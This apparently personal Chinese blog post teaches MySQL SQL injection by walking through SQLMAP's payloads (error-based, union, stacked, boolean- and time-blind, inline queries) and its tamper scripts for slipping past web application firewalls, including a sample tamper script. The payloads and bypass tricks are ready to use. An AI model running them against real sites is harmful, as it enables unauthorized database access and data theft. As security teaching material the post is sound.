數據庫注入方法和繞過技巧

個人博客文章:SQL注入方法和繞過技巧

背景

說到SQL注入那就不得不提這個領域自動化操作的佼佼者——SQLMAP,因此學習SQL注入很好的一個方法就是,分析SQLMAP的注入流程。
下面通過學習 SQLMAP 中的注入方法和其相應的 Payload,以及 SQLMAP 中的 Tamper 腳本源碼,瞭解 SQL注入的常見方法和繞過技巧。

SQL注入的方法

依據注入過程獲取信息的主要技巧不同,SQLMAP 中把注入技術分爲以下 6 種,分別爲 報錯注入(Error-based)、聯合查詢(Union queries)、堆疊查詢(Stack queries)、布爾盲注(Boolean-based blind)、延時盲注(Time-based blind)、內聯查詢(inline queries)。SQLMAP 中使用 --technique 的選項選擇使用不同的注入技術,默認爲 ”EUSBTQ“ ,每個字母分別對應上述 6 種技術的一種。

接着我會按 SQLMAP 中每一類技術中的 Payload 和通用 注入向量(模板)進行分析,SQLMAP 的 Payload 可在其源碼中查看,Payload 均以 XML 文件格式存儲,對於其中 Payload 較少的,在另外從PayloadsAllTheThings-MySQLInjection 學習。所有的 Payload 均爲 Mysql 環境下的。

Q:表示使用內聯查詢(inline queries)進行注入,爲什麼不用 I?個人認爲可能是 I 顯示有點像 1,不易讀。

報錯注入

概念

報錯注入(Error-based)的利用條件是:

  1. SQL 操作/函數 報錯
  2. 構造會出現執行錯誤的 SQL 查詢語句,將需要獲取的信息(如版本、數據庫名)放到會在錯誤信息輸出的位置
  3. 網站回顯數據庫執行的報錯信息,得到數據庫信息

報錯注入常使用的操作/函數:

  • FLOOR(RAND(0)*2) + GROUP BY,報錯信息 Duplicated entry
  • ExtractValue(1, ”構造信息“),報錯信息 XPATH syntax error: 信息
  • UpdateXML(1, “構造信息”, 1),報錯信息XPATH syntax error: 信息

Payloads

Payload 文件:error_based.xml,主要分析以下幾個注入 Payload:

數溢出報錯

# 攻擊向量
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
# 攻擊 Payload
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
########## 分析 ##########
# 想要獲取的內容在攻擊向量的 [QUERY] 部分,IF 條件是否成立,
# 都會選擇一個大整數 8446744073709551610*2,就會導致整數溢出
# 攻擊條件: Mysql >= 5.5

# 攻擊向量
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
# 攻擊 Payload
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x'))x))
########## 分析 ##########
# 想要獲取的內容在攻擊向量的 [QUERY] 部分, ~ 符號取反,
# 導致數值很大的數,進行 exp() 操作導致最終的結果溢出
# 攻擊條件:Mysql >= 5.5

上面兩個攻擊方法在我自己使用過程中,得不到相應的信息,錯誤信息展開 [QUERY] 中的內容,如下:

mysql> select id from comments where id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(char(126),(select elt(335=335,1)),char(126)))s), 8446744073709551610, 8446744073709551610)));
ERROR 1690 (22003): BIGINT value is out of range in '(2 * if((select `s`.`CONCAT(char(126),(select elt(335=335,1)),char(126))` from (select concat(char(126),elt((335 = 335),1),char(126)) AS `CONCAT(char(126),(select elt(335=335,1)),char(126))`) `s`),8446744073709551610,8446744073709551610))'

mysql> select exp(~(select * from (select CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x'))s));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `s`.`CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')` from (select concat('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x') AS `CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')`) `s`)))'

GROUP BY 報錯

# 攻擊向量
OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 攻擊 Payload
OR (SELECT NULL FROM(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

########## 分析 ##########
# 想要獲取的內容在攻擊向量的 [QUERY] 部分進行構造,
# 報錯原因在於,使用 GROUP BY 語句以 x 列進行分組,組內使用 COUNT 統計,x 列的值由
# CONCAT('~',database(),'~',FLOOR(RAND(0)*2)) 產生,而 FLOOR(RAND(0)*2)) 的值爲 1 或 0,
# GROUP BY 進行分組時,會建立一個虛擬表,虛擬表有兩個列,分別爲 x 和 count(*),然後查詢數據時,
# 首先檢查分組 x的值 是否存在,如果不存在,則插入虛擬表,存在 count(*)+1,但是查詢分組的值是否存在
# 以及插入分組值時都會重新計算 RAND(0)*2),而 FLOOR(RAND(0)*2)) 產生的序列爲 01101...,
# 第一次插入時檢查爲0,插入爲1,第二次檢查爲1,count(*)+1,第三次檢查爲0,虛擬表不存在,但實際
# 插入的值爲 1,導致 group_key 重複。
# 利用條件:Mysql >= 5.0,使用 count() + floor(rand(0)*2) + group by

# 低版本 Mysq >= 4.1, 不存在 information_schema,自行構造數據
# 攻擊向量
OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
# 攻擊 Payload
OR ROW(1,2)>(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM (SELECT 3 UNION SELECT 4 UNION SELECT 5 UNION SELECT 6)a GROUP BY x)

XPATH 報錯

# 攻擊向量
AND EXTRACTVALUE([RANDNUM],CONCAT(1,'[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
# 攻擊 Payload
AND EXTRACTVALUE(1,CONCAT('~',database(),'~'))
########## 分析 ###########
# ExtractValue(xml_frag, xpath_expr),第一個參數時 XML 文檔字符串,第二個參數時 XPATH 路徑,
# 當 XPATH 路徑錯誤是,就會報錯,錯誤信息即爲: CONCAT('~',database(),'~') 執行後的結果

# 攻擊向量
AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
# 攻擊 Payload
AND UPDATEXML(1,CONCAT('.','~',version(),'~'),2)
########## 分析 ###########
# UpdateXML(xml_target, xpath_expr, new_xml),第二個參數爲 XPATH,
# 當 XPATH 路徑錯誤是,就會報錯,錯誤信息即爲: CONCAT('.','~',version(),'~') 執行後的結果                         
# 利用條件:Mysql >= 5.1

聯合查詢

概念

聯合查詢(Union Queries)使用 UNION SELECT語句聯合兩個查詢列數相同的 SELECT語句,

聯合查詢的利用條件是:

  1. 可以使用 UNION SELECT 語句
  2. UNION SELECT 語句查詢的結果能看到

Payloads

通常先使用 ORDER BY 語句查出顯示的列數

ORDER BY 1 #
ORDER BY 2 #
...
ORDER BY N # 
# 當沒有顯示,或者網頁報錯時,說明前一個數即爲列數

SQLMAP中給出的通用攻擊向量如下:

UNION SELECT 1,2,3,.. [SQL_COMMENT]

Mysql >= 5.0

# 查數據庫名字
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
# 查表名
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
# 查列名
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
# 查數據
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

不使用 information_schema獲取列名

# 使用 JOIN 操作依次報錯查詢列名
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
# ERROR 1060 - Duplicate column name 'id'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
# ERROR 1060 - Duplicate column name 'name'

-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...

MySQL >= 4.1

低版本的 Mysql 沒有 information_schema,通常只能暴力破解表名,之後可以按如下方式獲取列名

# 查列數,假定表有 4 列
select 1 and(SELECT * from table_name)=(1)
# 報錯: Operand should contain 4 column(s),獲取列數 4

# 接着獲取列名
select 1 and (1,2,3,4) = (SELECT * from table_name UNION SELECT 1,2,3,4 LIMIT 1)
# 報錯:column 'id' cannot be null

未知列名的情況

在未知列名的情況,也能獲取數據,技巧就是使用列名的別稱。

# 獲取表 users 的 4 列內容
select `4` from (select 1,2,3,4,5,6 union select * from users)x; 
# 直接使用字符
select concat(a,'~',b) from (select 'a','b','c','d','e','f' union select * from users)x;
# 別名
select concat(a,'~',b) from (select 1,2 as 'a',3,4,5 as 'b',6 union select * from users)x;

堆疊查詢

概念

堆疊查詢(Stack Queries)可以依次執行多個 SQL 查詢語句,類似 Linux 依次執行多個命令 cd ..; ls。不同的數據庫和API 對堆疊查詢的支持不一樣,如MySQL 、MSSQL、PostgreSQL 本身是支持堆疊查詢的,使用 ; 將多個語句分開,但是可能數據庫的API 接口不支持,如 PHP的數據庫查詢接口就有可能不支持。堆疊查詢和聯合查詢的區別在於:堆疊查詢可以執行任何 SQL 語句(只要能成功執行,如DELECTINSERT等操作),聯合查詢僅支持 SELECT語句,同時兩個查詢語句的列數要一致。

堆疊查詢的利用條件:

  1. 數據庫和API接口支持堆疊查詢
  2. 最好能看到執行的結果

Payloads

判斷注入點

# 攻擊向量
;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
# Payload
# 響應發生明顯延遲
;SELECT SLEEP(5) -- a

推斷數據庫信息

# 攻擊向量
# 如果[INFERENCE]正確,則延時執行
;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

# 攻擊 Payload
# 判斷數據庫版本
;SELECT IF((mid(version(),1,1)=5),SLEEP(3),1)
# 推斷數據庫名
;SELECT IF((ASCII(MID(DATABASE(),1,1))>90),SLEEP(3),1)

布爾盲注

概念

布爾盲注(Boolean-based blind)即基於布爾值的方法,通過 SQL語句中真假條件的執行情況推斷出數據庫的信息,主要是根據網頁的顯示結果進行判斷,這和 error-based 方法使用 SQL語句執行錯誤的回顯信息不同,這裏使用的查詢語句是能正確執行的。

利用條件:

  1. 能使用 ANDORNOT 操作
  2. 能通過網頁響應判斷 SQL 語句的執行情況

Payloads

按種注入的流程,通常包括以下幾種類型:判斷注入點,推斷數據庫信息。

判斷注入點

# 攻擊向量
[AND, OR, OR NOT] [INFERENCE]
# 攻擊 Payload
AND 1=1 -- a 
AND 1=2 -- a # 比較兩個 payload 的結果,如果不同着說明存在注入點

推斷數據庫信息

# 攻擊向量
[AND, OR, OR NOT] [INFERENCE]
# 攻擊 Payload
# 使用字符串截取函數 substring | substri | mid | left | right ...
# 判斷版本
and substring(version(),1,1)=5
and right(left(version(),1),1)=5
and left(version(),1)=4
and ascii(lower(substr(Version(),1,1)))=51 # ascii 返回字符串第一個字符的 ascii 值
and (select mid(version(),1,1)=4)
# 數據庫名、表名、列名(暴力、二分法)
# 判斷名字的長度
AND SELECT LENGTH(DATABASE())>10
# 依次破解每一個字符
AND SELECT SUBSTR(database(),1,1) > 'a'
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
AND SELECT ASIIC(SUBSTR(table_name,1,1)) FROM information_schema.tables > 110
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
# 利用 Mysql MAKE_SET
# MAKE_SET(bits,str1,str2,...),strN 對應 bit(N-1),bit(N-1) 爲 1 則返回,
# 如 MAKE_SET(3,'A','B','C'),返回 ‘A','B'
select first_name from users where user_id=3 and make_set(length(database())>4,1);
select first_name from users where user_id=3 and make_set(ascii(mid(database(),2,1))>118,1);

延時盲注

概念

延時盲注(Time-based blind)即基於延時的方法,同樣通過 SQL語句中真假條件的執行情況推斷出數據庫的信息,但是使用延時執行的函數如 Mysql 中 sleep,使得不同條件執行查詢的時間不同,自然網頁上顯示結果的時間存在差異,以此推斷數據庫的信息。

利用條件:

  1. 能使用延時函數如 Mysql 中的 sleep 函數
  2. 能通過網頁響應判斷 SQL 語句的執行情況

Payloads

延時的方法

SLEEP

SLEEP(n),延時 n 秒後執行

BENCHMARK

BENCHMARK(loop_count,expr)函數用來測試 SQL 語句或者函數的執行時間,第一個參數表示執行的次數,第二個參數表示要執行的操作。通常使用使用 MD5、SHA1 等函數,執行次數 100000。

GET_LOCK

MySQL 的GET_LOCK(str, timeout)函數嘗試獲取一個名字爲 str 的鎖 ,等待 timeout秒未獲得,則終止函數,函數返回 0 值,成功則返回 1。利用條件是,開啓兩個 MySQL 數據庫連接,先後在兩個連接中使用 GET_LOCK 函數獲取相同名字的鎖,後面使用 GET_LOCK 函數的連接無法得到鎖,等待 timeout秒後執行其它操作。

# 第一個連接
mysql> select 1 and get_lock('fool',1);
+--------------------------+
| 1 and get_lock('fool',1) |
+--------------------------+
|                        1 | # 獲取成功,返回 1
+--------------------------+
1 row in set (0.00 sec)

# 第二個連接
mysql> select 1 and get_lock('fool', 3);
+---------------------------+
| 1 and get_lock('fool', 3) |
+---------------------------+
|                         0 | # 獲取失敗,返回 0 ,
+---------------------------+
1 row in set (3.00 sec)       # 等待了三秒後執行
笛卡爾積 查詢

SQL 進行多表查詢時,需要按照笛卡爾積乘的方式合成一個虛擬表進行查詢,如三個表 (10,2)(100,3)(200,4)進行多表查詢,最終合成一個虛擬表(200000,9),這種方式會導致最終的查詢很費時。

mysql> select count(*) from information_schema.tables a, information_schema.tables b, information_schema.tables c;
+-----------+
| count(*)  |
+-----------+
| 317214568 |
+-----------+
1 row in set (3.31 sec)
RLIKE 正則匹配

MySQL 中的 RLIKE 函數對字符串進行正則匹配,當目標字符串很長同時匹配規則複雜且失敗的情況會相當的耗時。

RPAD(str,len,padstr) 函數爲 str字符串右填充字符 padstr至總長度爲 len,可以用於構造長字符串。

REPEAT(str,count)函數構成一個重複 str字符串 count次。

# 根據實際情況調整,目標和匹配字符串的長度
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
|                                                           0 |
+-------------------------------------------------------------+
1 row in set (3.53 sec)

判斷注入點

# 攻擊向量
AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
# 攻擊 Payload
AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)
AND 1 # 比較兩個請求的響應時間

推斷數據庫信息

# 攻擊向量
# 1. 如果[INFERENCE]正確,則延時執行,同時響應錯誤
AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
# 使用 RLIKE 時會匹配表中的每一條數據,所總延時=查詢表的行數 * SLEEPTIME,所以根據適當調小 SLEEPTIME,如0.1
RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))

# 2. 如果[INFERENCE]正確,則延時執行,反之則不延時
AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]))
RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]))

# 攻擊 Payload
# 判斷數據庫名字的長度
AND 1=IF(LENGTH(DATABASE())>5, SLEEP(5), 1) 
# 數據庫名、表名、列名(暴力、二分法)
AND (SELECT 1 FROM (SELECT(SLEEP(2-(IF(ascii(mid(database(),1,1))>90,0,2)))))x)
RLIKE(SELECT 1=IF(ASCII(MID(DATABASE(),2,1))>118,SLEEP(0.5),1))

內聯查詢

概念

內聯查詢(Inline Queries)的格式如下:

SELECT statemnt FROM (SELECT statement);

FROM後面跟着的部分是一個 SELECT查詢子句,這個子句產生的結果會保存在 內聯視圖(Inline View)中。視圖和表的結構一樣但沒有實際存儲的數據,它建立在其他的表或者視圖上。

內聯查詢通常用於和其它方法結合使用,如在報錯注入中就很常用到內聯查詢:

id=1' AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7430=7430,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'IMUF'='IMUF

Payload

# 攻擊向量
(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
# 攻擊 Paylaod,常和其它注入技巧結合使用,如報錯
(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))

繞過技巧

SQLMAP 中的繞過技巧

進行注入時,往往會遇到服務端主機裝有 WAF(Web Application Firewall)對 Payload 進行過濾的情況,這使得注入攻擊無法成功實施。但 WAF 往往是通過規則對攻擊的 Payload 進行檢測然後過濾,只要我們能繞過 WAF 的檢測規則就能完成攻擊。那麼繞過的方法一般有哪些呢?我們可以透過 SQLMAP 中的繞過技術學習一二。

SQLMAP 中有一個 Tamper 模塊專爲繞過 WAF 制定特殊的 Payload,–-tamper選項可以使用加載模塊的不同繞過方法將Payload後進行注入。

繞過的技巧通常有:

  1. 字符編碼轉換
  2. 同等功能轉換
  3. 使用註釋符

字符編碼轉換

SQLMAP 中 Tamper 模塊中的很多腳本都使用字符的不同編碼進行繞過,主要有的編碼轉換方式有:

  • 使用 base64 編碼整個Payload
  • Unicode 編碼
  • url 編碼/雙 url 編碼
  • utf-8 編碼
  • HTML 編碼

SQLMAP 中的 Tamper 腳本有:

Tamper 腳本 描述
base64encode base64 編碼 Payload
chardoubleencode 雙url編碼
charencode url編碼
charunicodeencode 使用 Unicode 編碼
charunicodeescape 使用 Unicode 編碼
apostrophemask 使用 UTF-8 編碼字符 %EF%BC%87 替換
htmlencode 使用 HTML 編碼 Payload
apostrophennullencode 使用 %00%27 替換
overlongutf8 對非字符數字進行 UTF-8 編碼,
overlongutf8moremore 對所有Payload 進行 UTF-8 編碼

同等功能轉換

當 WAF 過濾了特定函數或者關鍵字時,考慮使用其它方法實現該功能。SQLMAP Tamper 的腳本主要有:

Tamper 腳本 描述
between 使用 BETWEEN 實現 >=的功能
commalesslimit LIMIT N OFFSET M 替換LIMIT M, N ,繞過逗號過濾
commalessmid MID(A FROM B FOR C) 替換 MID(A, B, C),繞過逗號過濾
concat2concatws 使用 concat_ws函數替換 concat函數
equaltolike 使用 LIKE 替換 =
greatest 使用 GREATEST 函數實現 >的功能,1 AND A>B轉換爲 1 AND GREATEST(A, B+1)=A
least 使用 LEAST 函數實現 >的功能,1 AND A > B 轉換爲 1 AND LEAST(A,B+1)=B+1
ifnull2ifisnull 使用 IF(ISNULL(A), B, A) 替換 IFNULL(A, B)
ifnull2casewhenisnull 使用 替換 CASE WHEN ISNULL(A) THEN (B) ELSE (A) END替換IFNULL(A, B)
symboliclogical 使用 &&||替換 ANDOR

使用註釋符

註釋符可以實現空格的替換、繞過函數過濾等。SQLMAP 中的 Tamper 腳本主要有:

Tamper 腳本 描述
commentbeforeparentheses 在括號前添加註釋符 /**/,如 ABS() 變爲 ABS/**/()
space2comment 使用註釋符/**/替換空格,SELECT id FROM users 轉換爲 SELECT/**/id/**/FROM/**/users
space2dash 使用註釋符 –-替換空格
space2hash 使用註釋符 #替換空格
space2morecomment SELECT id FROM users 轉換爲 SELECT/**_**/id/**_**/FROM/**_**/users
randomcomments 隨機插入註釋符 /**/,如 INSERT 變爲 I/**/NS/**/ERT
versionedkeywords 使用 MySQL 特有的註釋符 /*!*/,保留關鍵字,在 MySQL 中/*!內容*/表示內容在 MySQL 中才執行,其它數據庫中不會執行。
versionedmorekeywords 使用 MySQL 特有的註釋符 /*!*/,保留更多的關鍵字

自定義 Tamper 腳本

在實際情況中遇到的 WAF 多種多樣,我們需要針對性地修改 Payload 以繞過過濾規則。所以很有必要學習如何編寫 SQLMAP 的 Tamper 腳本。Tamper 腳本的編寫其實還是比較容易的,主要涉及 Python 中的字符串替換的操作。一個 Tamper 腳本就是一個 Python 文件,當 SQLMAP 使用 --tamper “tamper腳本名” 就會調用相應的 Tamper 腳本對 Payload 進行特定的處理。

以 SQLMAP 中一個很簡單的 equaltolike.pyTamper 腳本爲例:

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))

def tamper(payload, **kwargs):
    """
    Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart

    Tested against:
        * Microsoft SQL Server 2005
        * MySQL 4, 5.0 and 5.5

    Notes:
        * Useful to bypass weak and bespoke web application firewalls that
          filter the equal character ('=')
        * The LIKE operator is SQL standard. Hence, this tamper script
          should work against all (?) databases

    >>> tamper('SELECT * FROM users WHERE id=1')
    'SELECT * FROM users WHERE id LIKE 1'
    """

    retVal = payload

    if payload:
        retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)

    return retVal

腳本主要有三個部分:

  • __priority__ = PRIORITY.HIGHEST
  • dependencies() 函數
  • tamper(payload, **kwargs) 函數

__priority__ = PRIORITY.HIGHEST用於聲明腳本的優先級,在使用多個腳本時,需要通過該值判斷腳本執行的先後順序。通過 from lib.core.enums import PRIORITY 導入 PRIORITY 類,其聲明如下,總共有 7 個等級。

class PRIORITY(object):
    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100

除了 PRIORITY這個 enum 類,lib.core.enums 中還有很多 SQLMAP 常用的 enum 類,如 DBMS 的名字、HTTP 請求的方法等。

dependencies()函數用於輸出腳本的適用範圍,調用 SQLMAP 自定義函數 singleTimeWarnMessage 進行輸出,適用所有情況可以忽略說明,

def dependencies():
	pass

tamper(payload, **kwargs) 函數使用 re.sub正則替換函數實現 Payload 中 =LIKE 的替換。函數的第一參數爲需要修改的 payload 字符串,第二個爲SQLMAP 中的參數。

因此,寫 Tamper 腳本主要是在 tamper() 函數中實現 Payload 的修改。

參考

  1. sqlmap payload
  2. sqlmap wiki
  3. sqlmap 源碼解析&技術總結
  4. PayloadsAllTheThings-MySQLInjection
  5. Sqlmap Advanced Guide
  6. Inline queries
  7. MySQL時間盲注五種延時方法
  8. sqlmap tamper腳本編寫
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章